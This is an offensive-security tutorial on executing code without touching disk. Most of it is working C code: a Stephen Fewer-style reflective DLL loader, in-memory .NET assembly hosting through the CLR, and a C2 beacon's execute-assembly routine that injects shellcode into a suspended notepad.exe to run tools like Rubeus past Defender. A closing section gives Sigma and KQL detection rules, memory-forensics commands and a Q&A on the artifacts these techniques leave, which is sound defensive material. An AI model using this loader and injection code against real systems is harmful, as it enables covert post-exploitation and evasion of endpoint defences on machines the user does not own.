Reflective Loading and In-Memory Execution
Executing code without touching disk: Reflective DLL Loading internals (manual PE mapping, import resolution, relocation, TLS callbacks), in-memory .NET assembly loading via Assembly.Load(byte[]), the execute-assembly beacon BOF pattern, PowerShell runspace-based assembly execution, and why "fileless" is a misleading term to defenders — memory artifacts are still forensically recoverable.
You need to run Rubeus (a .NET Kerberos attack tool) on the target. Dropping rubeus.exe to disk triggers Defender in under a second. But your beacon can receive arbitrary .NET assemblies and execute them inside its own process memory, with results returned over the C2 channel, and nothing touches the filesystem. The target process appears to be your legitimate implant host — no rubeus.exe in the process list, no file on disk, no prefetch entry. This is the execute-assembly capability: one of the most operationally valuable techniques in a mature implant framework.
Reflective DLL Loading — How It Works
Reflective Loader Core Implementation
// ReflectiveLoader() — embedded at a known offset in the DLL (typically exported as "ReflectiveLoader")
// When called, the DLL's bytes are already in memory. The loader maps them into a new region.
// This is the standard Stephen Fewer approach, simplified for clarity.
ULONG_PTR ReflectiveLoader() {
// Step 1: Find our own DLL base address via RIP-relative trick
ULONG_PTR uiLibraryAddress;
__asm__ volatile ("call 1f\n1: popq %0" : "=r"(uiLibraryAddress));
// Walk backward from current RIP to find MZ header
while (*(WORD*)uiLibraryAddress != IMAGE_DOS_SIGNATURE) uiLibraryAddress--;
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)uiLibraryAddress;
PIMAGE_NT_HEADERS ntHdrs = (PIMAGE_NT_HEADERS)(uiLibraryAddress + dosHdr->e_lfanew);
// Step 2: Resolve kernel32/ntdll exports without using GetProcAddress yet
// (use PEB walk from ch133 to get LoadLibraryA/GetProcAddress)
LoadLibraryA_t pLoadLibrary = (void*)GetExportByHash(GetKernel32Base(), H_LoadLibraryA);
GetProcAddress_t pGetProcAddr = (void*)GetExportByHash(GetKernel32Base(), H_GetProcAddress);
VirtualAlloc_t pVirtualAlloc = (void*)GetExportByHash(GetKernel32Base(), H_VirtualAlloc);
// Step 3: Allocate memory for the full mapped image
DWORD sizeOfImage = ntHdrs->OptionalHeader.SizeOfImage;
BYTE* mappedBase = (BYTE*)pVirtualAlloc(
(void*)ntHdrs->OptionalHeader.ImageBase, // try preferred base first
sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mappedBase)
mappedBase = (BYTE*)pVirtualAlloc(NULL, sizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Step 4: Copy headers
memcpy(mappedBase, (void*)uiLibraryAddress, ntHdrs->OptionalHeader.SizeOfHeaders);
// Step 5: Copy sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(ntHdrs);
for (WORD i = 0; i < ntHdrs->FileHeader.NumberOfSections; i++, sec++)
memcpy(mappedBase + sec->VirtualAddress,
(void*)(uiLibraryAddress + sec->PointerToRawData),
sec->SizeOfRawData);
// Step 6: Apply relocations
LONG_PTR delta = (LONG_PTR)(mappedBase - ntHdrs->OptionalHeader.ImageBase);
if (delta) {
DWORD relocRVA = ntHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(mappedBase + relocRVA);
while (reloc->VirtualAddress) {
WORD* entry = (WORD*)((BYTE*)reloc + sizeof(IMAGE_BASE_RELOCATION));
DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
for (DWORD j = 0; j < count; j++) {
if (entry[j] >> 12 == IMAGE_REL_BASED_DIR64) {
ULONG_PTR* ptr = (ULONG_PTR*)(mappedBase + reloc->VirtualAddress + (entry[j] & 0xFFF));
*ptr += delta;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
// Step 7: Resolve imports
DWORD impRVA = ntHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(mappedBase + impRVA);
while (imp->Name) {
HMODULE hMod = pLoadLibrary((LPCSTR)(mappedBase + imp->Name));
ULONG_PTR* iat = (ULONG_PTR*)(mappedBase + imp->FirstThunk);
ULONG_PTR* int_ = (ULONG_PTR*)(mappedBase + (imp->OriginalFirstThunk ? imp->OriginalFirstThunk : imp->FirstThunk));
while (*int_) {
if (*int_ & IMAGE_ORDINAL_FLAG64)
*iat = (ULONG_PTR)pGetProcAddr(hMod, MAKEINTRESOURCEA(*int_ & 0xFFFF));
else
*iat = (ULONG_PTR)pGetProcAddr(hMod, ((PIMAGE_IMPORT_BY_NAME)(mappedBase + *int_))->Name);
iat++; int_++;
}
imp++;
}
// Step 8: Call DllMain(DLL_PROCESS_ATTACH)
DllMain_t dllMain = (DllMain_t)(mappedBase + ntHdrs->OptionalHeader.AddressOfEntryPoint);
return (ULONG_PTR)dllMain((HINSTANCE)mappedBase, DLL_PROCESS_ATTACH, NULL);
}
In-Memory .NET Assembly Loading
// Load a .NET assembly (C# compiled DLL/EXE) entirely in memory.
// Assembly.Load(byte[]) does NOT write to disk.
// After loading: invoke any public static method via reflection.
//
// Use case: run Rubeus, SharpHound, Seatbelt, or any .NET post-ex tool
// in-process without dropping to disk.
// C++ / managed C++ hosting the .NET CLR:
#include <mscoree.h>
#pragma comment(lib, "mscoree.lib")
BOOL ExecuteAssembly(BYTE* assemblyBytes, DWORD assemblyLen,
const wchar_t* typeName, const wchar_t* methodName,
const wchar_t** args, DWORD argCount) {
ICLRMetaHost* pMetaHost = NULL;
ICLRRuntimeInfo* pRuntime = NULL;
ICorRuntimeHost* pCorHost = NULL;
IUnknown* pAppDomainUnk = NULL;
_AppDomain* pAppDomain = NULL;
_Assembly* pAssembly = NULL;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (void**)&pMetaHost);
pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (void**)&pRuntime);
pRuntime->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (void**)&pCorHost);
pCorHost->Start();
pCorHost->GetDefaultDomain(&pAppDomainUnk);
pAppDomainUnk->QueryInterface(IID__AppDomain, (void**)&pAppDomain);
// Build SafeArray of bytes from assemblyBytes
SAFEARRAYBOUND sab = { assemblyLen, 0 };
SAFEARRAY* pSA = SafeArrayCreate(VT_UI1, 1, &sab);
void* pData; SafeArrayAccessData(pSA, &pData);
memcpy(pData, assemblyBytes, assemblyLen);
SafeArrayUnaccessData(pSA);
// Load assembly bytes into AppDomain (never hits disk)
pAppDomain->Load_3(pSA, &pAssembly);
// Get entry point and invoke
_MethodInfo* pMethod = NULL;
BSTR bTypeName = SysAllocString(typeName);
BSTR bMethodName = SysAllocString(methodName);
_Type* pType = NULL;
pAssembly->GetType_2(bTypeName, &pType);
pType->GetMethod_2(bMethodName, &pMethod);
// Build args array and Invoke
VARIANT result;
pMethod->Invoke_3(_variant_t(), NULL, &result);
pAssembly->Release();
pAppDomain->Release();
pCorHost->Stop();
return TRUE;
}
execute-assembly — Beacon Pattern
// execute-assembly: standard capability in Cobalt Strike, Havoc, Sliver, Brute Ratel.
// The beacon receives a .NET assembly bytes over C2, loads it in a sacrificial process,
// captures stdout/stderr, and returns output over the C2 channel.
//
// Why sacrificial process: if the assembly crashes (AV kills it) or runs detection rules,
// the beacon itself survives — only the sacrifice is burned.
//
// Pattern:
// 1. C2 sends: COMMAND_EXEC_ASSEMBLY + assembly_bytes + args
// 2. Beacon spawns: CreateProcess("notepad.exe", CREATE_SUSPENDED|CREATE_NO_WINDOW)
// 3. Beacon injects: the .NET hosting shellcode into notepad
// 4. Beacon sets up: anonymous pipe for stdout capture
// 5. Notepad side: CLR loads assembly, redirects Console.Out to pipe, runs Main
// 6. Notepad sends output back through pipe to beacon
// 7. Beacon sends output to C2
BOOL ExecuteAssemblyInProcess(BYTE* asmBytes, DWORD asmLen,
const char* args, BYTE* outputBuf, DWORD* outputLen) {
// Create anonymous pipe for stdout capture
HANDLE hReadPipe, hWritePipe;
SECURITY_ATTRIBUTES sa = { .nLength = sizeof(sa), .bInheritHandle = TRUE };
CreatePipe(&hReadPipe, &hWritePipe, &sa, 65536);
// Spawn sacrificial host process
STARTUPINFOW si = { .cb = sizeof(si),
.dwFlags = STARTF_USESTDHANDLES,
.hStdOutput = hWritePipe,
.hStdError = hWritePipe };
PROCESS_INFORMATION pi;
CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL,
NULL, NULL, TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// Inject hosting shellcode (pre-generated: loads CLR, calls Assembly.Load,
// runs entrypoint with redirected stdout to hWritePipe)
BYTE* hostShellcode = BuildHostingShellcode(asmBytes, asmLen, args);
LPVOID remoteBase = VirtualAllocEx(pi.hProcess, NULL, hostShellcodeLen,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBase, hostShellcode, hostShellcodeLen, NULL);
QueueUserAPC((PAPCFUNC)remoteBase, pi.hThread, 0);
ResumeThread(pi.hThread);
// Read output from pipe
CloseHandle(hWritePipe);
DWORD read; *outputLen = 0;
while (ReadFile(hReadPipe, outputBuf + *outputLen,
4096, &read, NULL) && read > 0)
*outputLen += read;
WaitForSingleObject(pi.hProcess, 10000);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
CloseHandle(hReadPipe);
return TRUE;
}
Detection Engineering
-- Sigma: CLR loaded into non-.NET process (assembly injection signal)
title: CLR Loaded Into Unexpected Process
logsource:
product: windows
category: image_load # Sysmon Event 7
detection:
selection:
ImageLoaded|endswith:
- '\clr.dll'
- '\mscoree.dll'
Image|endswith:
- '\notepad.exe'
- '\mspaint.exe'
- '\calc.exe'
- '\werfault.exe'
condition: selection
level: high
-- Sigma: reflective DLL — MEM_PRIVATE RWX region executing (behavioral)
-- Detected via:
-- Sysmon 8: CreateRemoteThread from process with MEM_PRIVATE executable region
-- Sysmon 25: process image tamper (unexpected executable page in process)
-- MDE KQL: Assembly.Load() called outside normal .NET host processes
DeviceEvents
| where ActionType == "AssemblyLoad"
| where InitiatingProcessFileName !in~ (
"powershell.exe", "pwsh.exe", "msbuild.exe",
"csc.exe", "dotnet.exe", "InstallUtil.exe"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, AdditionalFields
-- Memory forensics: Volatility / Rekall can recover loaded assemblies:
-- python vol.py -f memory.raw dlllist -p PID | grep -i clr
-- python vol.py -f memory.raw dumpfiles -Q clr.dll (get mapped files)
-- python vol.py -f memory.raw handles -p PID (check for pipe handles)
-- Reflectively loaded DLL: appears as unnamed MEM_PRIVATE executable region
-- NOT in dll list (no PEB entry) but visible as a VAD node
Q&A
Does "fileless" mean an attack leaves no forensic trace?
No — "fileless" is a marketing term that means "no file permanently written to disk," not "no forensic trace." Multiple artifact classes remain. Memory: the reflectively loaded DLL or .NET assembly lives in process memory until the process dies or the machine reboots. A live memory acquisition (WinPmem, DumpIt, or the EDR's own memory snapshot capability) captures it in full. Volatility's malfind plugin specifically finds unsigned MEM_PRIVATE RWX regions that look like injected shellcode or reflectively loaded DLLs. Event logs: Sysmon Event 7 (DLL load) fires for regular LoadLibrary calls, but rDLL bypasses this — however Sysmon Event 8 (CreateRemoteThread) and Event 10 (ProcessAccess) often fire during the injection phase. ETW (Event Tracing for Windows): the .NET runtime emits ETW events for every assembly load, even those done via Assembly.Load(byte[]) — including the assembly name, MVID, and token counts. The Microsoft-Windows-DotNETRuntime ETW provider logs this. Page file: executable memory pages that get paged out to disk during execution can later be carved from the Windows pagefile. Amcache: while reflective loads don't create Amcache entries, the host process executing the technique does leave an Amcache entry. The combination of EDR telemetry, ETW tracing, and memory forensics means that "fileless" is much more visible to a mature detection team than its name implies — the advantage is against file-scanning-only defenses, not against behavioral/memory analysis.